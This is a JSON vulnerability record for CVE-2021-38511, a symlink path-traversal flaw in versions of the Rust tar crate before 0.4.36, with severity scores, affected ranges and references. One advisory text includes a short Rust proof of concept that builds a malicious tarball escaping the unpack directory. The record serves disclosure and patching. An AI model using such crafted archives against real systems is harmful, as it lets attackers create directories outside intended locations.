{"id":"CVE-2021-38511","aliases":["CVE-2021-38511","GHSA-62jx-8vmh-4mcw","RUSTSEC-2021-0080"],"related":[],"kind":"vulnerability","state":"published","title":"Links in archive can create arbitrary directories","summary":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.","source":"cvelist"},{"lang":"en","text":"When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.","format":"markdown","source":"ghsa"},{"lang":"en","text":"When unpacking a tarball that contains a symlink the `tar` crate may create\ndirectories outside of the directory it's supposed to unpack into.\n\nThe function errors when it's trying to create a file, but the folders are\nalready created at this point.\n\n```rust\nuse std::{io, io::Result};\nuse tar::{Archive, Builder, EntryType, Header};\n\nfn main() -> Result<()> {\n    let mut buf = Vec::new();\n\n    {\n        let mut builder = Builder::new(&mut buf);\n\n        // symlink: parent -> ..\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink\")?;\n        header.set_link_name(\"..\")?;\n        header.set_entry_type(EntryType::Symlink);\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(&header, io::empty())?;\n\n        // file: symlink/exploit/foo/bar\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink/exploit/foo/bar\")?;\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(&header, io::empty())?;\n\n        builder.finish()?;\n    };\n\n    Archive::new(&*buf).unpack(\"demo\")\n}\n```\n\nThis has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is\npublished as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for\ndiscovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for\nthe fix!","format":"markdown","source":"rustsec"},{"lang":"es","text":"Se ha detectado un problema en la crate tar versiones anteriores a 0.4.36 para Rust. Cuando los enlaces simbólicos están presentes en un archivo TAR, la extracción puede crear directorios arbitrarios por medio de .. Salto","source":"nvd"}],"published":"2021-07-19T12:00:00.000Z","modified":"2026-07-17T16:00:04.671Z","severity":{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"},{"scorer":"RustSec Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:L/Au:N/C:N/I:P/A:N","score":5,"rating":"MEDIUM"}],"cwes":["CWE-22","CWE-59"],"affected":[{"ranges":[{"version":"n/a","status":"affected"}],"source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.4.36"}],"ecosystem":"crates.io","package":"tar","purl":"pkg:cargo/tar","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.0.0-0","status":"affected","fixed":"0.4.36"}],"ecosystem":"crates.io","package":"tar","purl":"pkg:cargo/tar","source":"rustsec"},{"ranges":[{"status":"affected","fixed":"0.4.36"}],"vendor":"tar_project","product":"tar","cpe":"cpe:2.3:a:tar_project:tar:*:*:*:*:*:rust:*:*","source":"nvd"}],"references":[{"url":"https://rustsec.org/advisories/RUSTSEC-2021-0080.html","tags":["advisory","exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","rustsec","nvd"]},{"url":"https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md","tags":["exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-38511","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/alexcrichton/tar-rs/issues/238","tags":["report","web"],"sources":["ghsa","rustsec"]},{"url":"https://github.com/alexcrichton/tar-rs/pull/259","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/alexcrichton/tar-rs","tags":["package"],"sources":["ghsa"]},{"url":"https://crates.io/crates/tar","tags":["package"],"sources":["rustsec"]}],"credits":[],"assigner":"mitre","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2021-38511","url":"https://www.cve.org/CVERecord?id=CVE-2021-38511","licence":"CVE Terms of Use","modified":"2024-08-04T01:44:23.549Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-62jx-8vmh-4mcw","url":"https://github.com/advisories/GHSA-62jx-8vmh-4mcw","licence":"CC-BY-4.0","modified":"2023-11-08T04:06:27.878Z"},{"source":"rustsec","name":"RustSec Advisory Database","id":"RUSTSEC-2021-0080","url":"https://rustsec.org/advisories/RUSTSEC-2021-0080.html","licence":"CC0-1.0","modified":"2026-07-17T16:00:04.671Z"},{"source":"nvd","name":"NVD","id":"CVE-2021-38511","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-38511","licence":"Public domain","modified":"2026-06-17T04:02:15.500Z"}],"updatedAt":"2026-11-25T22:58:03.100Z","epss":{"score":0.01392,"percentile":0.7316,"date":"2026-12-01T12:00:22.000Z"}}